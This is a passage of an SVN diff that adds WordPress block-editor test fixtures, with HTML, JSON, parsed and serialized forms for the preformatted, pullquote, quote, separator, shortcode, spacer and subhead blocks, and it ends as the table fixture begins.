+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/paragraph",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\nUnwrapped is <em>still</em> valid.\n",
+        "innerContent": [ "\nUnwrapped is <em>still</em> valid.\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:paragraph -->
+<p>Unwrapped is <em>still</em> valid.</p>
+<!-- /wp:paragraph -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+Unwrapped is <em>still</em> valid.
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/preformatted -->
+<pre class="wp-block-preformatted">Some <em>preformatted</em> text...<br>And more!</pre>
+<!-- /wp:core/preformatted -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/preformatted",
+        "isValid": true,
+        "attributes": {
+            "content": "Some <em>preformatted</em> text...<br>And more!"
+        },
+        "innerBlocks": [],
+        "originalContent": "<pre class=\"wp-block-preformatted\">Some <em>preformatted</em> text...<br>And more!</pre>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/preformatted",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<pre class=\"wp-block-preformatted\">Some <em>preformatted</em> text...<br>And more!</pre>\n",
+        "innerContent": [ "\n<pre class=\"wp-block-preformatted\">Some <em>preformatted</em> text...<br>And more!</pre>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:preformatted -->
+<pre class="wp-block-preformatted">Some <em>preformatted</em> text...<br>And more!</pre>
+<!-- /wp:preformatted -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__preformatted.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<pre class="wp-block-preformatted">Some <em>preformatted</em> text...<br>And more!</pre>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.html	(revision 56912)
@@ -0,0 +1,7 @@
+<!-- wp:core/pullquote -->
+<figure class="wp-block-pullquote">
+    <blockquote>
+    <p>Testing pullquote block...</p><cite>...with a caption</cite>
+    </blockquote>
+</figure>
+<!-- /wp:core/pullquote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/pullquote",
+        "isValid": true,
+        "attributes": {
+            "value": "<p>Testing pullquote block...</p>",
+            "citation": "...with a caption"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-pullquote\">\n    <blockquote>\n    <p>Testing pullquote block...</p><cite>...with a caption</cite>\n    </blockquote>\n</figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/pullquote",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-pullquote\">\n    <blockquote>\n    <p>Testing pullquote block...</p><cite>...with a caption</cite>\n    </blockquote>\n</figure>\n",
+        "innerContent": [ "\n<figure class=\"wp-block-pullquote\">\n    <blockquote>\n    <p>Testing pullquote block...</p><cite>...with a caption</cite>\n    </blockquote>\n</figure>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:pullquote -->
+<figure class="wp-block-pullquote"><blockquote><p>Testing pullquote block...</p><cite>...with a caption</cite></blockquote></figure>
+<!-- /wp:pullquote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote.server.html	(revision 56912)
@@ -0,0 +1,7 @@
+
+<figure class="wp-block-pullquote">
+    <blockquote>
+    <p>Testing pullquote block...</p><cite>...with a caption</cite>
+    </blockquote>
+</figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html	(revision 56912)
@@ -0,0 +1,9 @@
+<!-- wp:core/pullquote -->
+<figure class="wp-block-pullquote">
+    <blockquote>
+        <p>Paragraph <strong>one</strong></p>
+        <p>Paragraph two</p>
+        <cite>by whomever</cite>
+	</blockquote>
+</figure>
+<!-- /wp:core/pullquote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/pullquote",
+        "isValid": true,
+        "attributes": {
+            "value": "<p>Paragraph <strong>one</strong></p><p>Paragraph two</p>",
+            "citation": "by whomever"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-pullquote\">\n    <blockquote>\n        <p>Paragraph <strong>one</strong></p>\n        <p>Paragraph two</p>\n        <cite>by whomever</cite>\n\t</blockquote>\n</figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/pullquote",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-pullquote\">\n    <blockquote>\n        <p>Paragraph <strong>one</strong></p>\n        <p>Paragraph two</p>\n        <cite>by whomever</cite>\n\t</blockquote>\n</figure>\n",
+        "innerContent": [ "\n<figure class=\"wp-block-pullquote\">\n    <blockquote>\n        <p>Paragraph <strong>one</strong></p>\n        <p>Paragraph two</p>\n        <cite>by whomever</cite>\n\t</blockquote>\n</figure>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:pullquote -->
+<figure class="wp-block-pullquote"><blockquote><p>Paragraph <strong>one</strong></p><p>Paragraph two</p><cite>by whomever</cite></blockquote></figure>
+<!-- /wp:pullquote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html	(revision 56912)
@@ -0,0 +1,9 @@
+
+<figure class="wp-block-pullquote">
+    <blockquote>
+        <p>Paragraph <strong>one</strong></p>
+        <p>Paragraph two</p>
+        <cite>by whomever</cite>
+	</blockquote>
+</figure>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/quote -->
+<blockquote class="wp-block-quote"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>
+<!-- /wp:core/quote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/quote",
+        "isValid": true,
+        "attributes": {
+            "value": "<p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p>",
+            "citation": "Matt Mullenweg, 2017"
+        },
+        "innerBlocks": [],
+        "originalContent": "<blockquote class=\"wp-block-quote\"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/quote",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<blockquote class=\"wp-block-quote\"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>\n",
+        "innerContent": [ "\n<blockquote class=\"wp-block-quote\"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:quote -->
+<blockquote class="wp-block-quote"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>
+<!-- /wp:quote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-1.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<blockquote class="wp-block-quote"><p>The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks” to make it easy what today might take shortcodes, custom HTML, or “mystery meat” embed discovery.</p><cite>Matt Mullenweg, 2017</cite></blockquote>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/quote {"className":"is-style-large"} -->
+<blockquote class="wp-block-quote is-style-large"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>
+<!-- /wp:core/quote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.json	(revision 56912)
@@ -0,0 +1,14 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/quote",
+        "isValid": true,
+        "attributes": {
+            "value": "<p>There is no greater agony than bearing an untold story inside you.</p>",
+            "citation": "Maya Angelou",
+            "className": "is-style-large"
+        },
+        "innerBlocks": [],
+        "originalContent": "<blockquote class=\"wp-block-quote is-style-large\"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/quote",
+        "attrs": {
+            "className": "is-style-large"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<blockquote class=\"wp-block-quote is-style-large\"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>\n",
+        "innerContent": [ "\n<blockquote class=\"wp-block-quote is-style-large\"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:quote {"className":"is-style-large"} -->
+<blockquote class="wp-block-quote is-style-large"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>
+<!-- /wp:quote -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__quote__style-2.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<blockquote class="wp-block-quote is-style-large"><p>There is no greater agony than bearing an untold story inside you.</p><cite>Maya Angelou</cite></blockquote>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/separator -->
+<hr class="wp-block-separator" />
+<!-- /wp:core/separator -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.json	(revision 56912)
@@ -0,0 +1,10 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/separator",
+        "isValid": true,
+        "attributes": {},
+        "innerBlocks": [],
+        "originalContent": "<hr class=\"wp-block-separator\" />"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/separator",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<hr class=\"wp-block-separator\" />\n",
+        "innerContent": [ "\n<hr class=\"wp-block-separator\" />\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:separator -->
+<hr class="wp-block-separator"/>
+<!-- /wp:separator -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__separator.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<hr class="wp-block-separator" />
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/shortcode -->
+[gallery ids="238,338"]
+<!-- /wp:core/shortcode -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/shortcode",
+        "isValid": true,
+        "attributes": {
+            "text": "[gallery ids=\"238,338\"]"
+        },
+        "innerBlocks": [],
+        "originalContent": "[gallery ids=\"238,338\"]"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/shortcode",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n[gallery ids=\"238,338\"]\n",
+        "innerContent": [ "\n[gallery ids=\"238,338\"]\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:shortcode -->
+[gallery ids="238,338"]
+<!-- /wp:shortcode -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__shortcode.server.html	(revision 56912)
@@ -0,0 +1,2 @@
+<p>[gallery ids="238,338"]</p>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:spacer -->
+<div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div>
+<!-- /wp:spacer -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/spacer",
+        "isValid": true,
+        "attributes": {
+            "height": 100
+        },
+        "innerBlocks": [],
+        "originalContent": "<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"></div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/spacer",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"></div>\n",
+        "innerContent": [ "\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"></div>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:spacer -->
+<div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div>
+<!-- /wp:spacer -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__spacer.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<div style="height:100px" aria-hidden="true" class="wp-block-spacer"></div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/subhead -->
+<p class="wp-block-subhead">This is a <em>subhead</em>.</p>
+<!-- /wp:core/subhead -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/subhead",
+        "isValid": true,
+        "attributes": {
+            "content": "This is a <em>subhead</em>."
+        },
+        "innerBlocks": [],
+        "originalContent": "<p class=\"wp-block-subhead\">This is a <em>subhead</em>.</p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/subhead",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<p class=\"wp-block-subhead\">This is a <em>subhead</em>.</p>\n",
+        "innerContent": [ "\n<p class=\"wp-block-subhead\">This is a <em>subhead</em>.</p>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:subhead -->
+<p class="wp-block-subhead">This is a <em>subhead</em>.</p>
+<!-- /wp:subhead -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__subhead.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<p class="wp-block-subhead">This is a <em>subhead</em>.</p>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/table -->
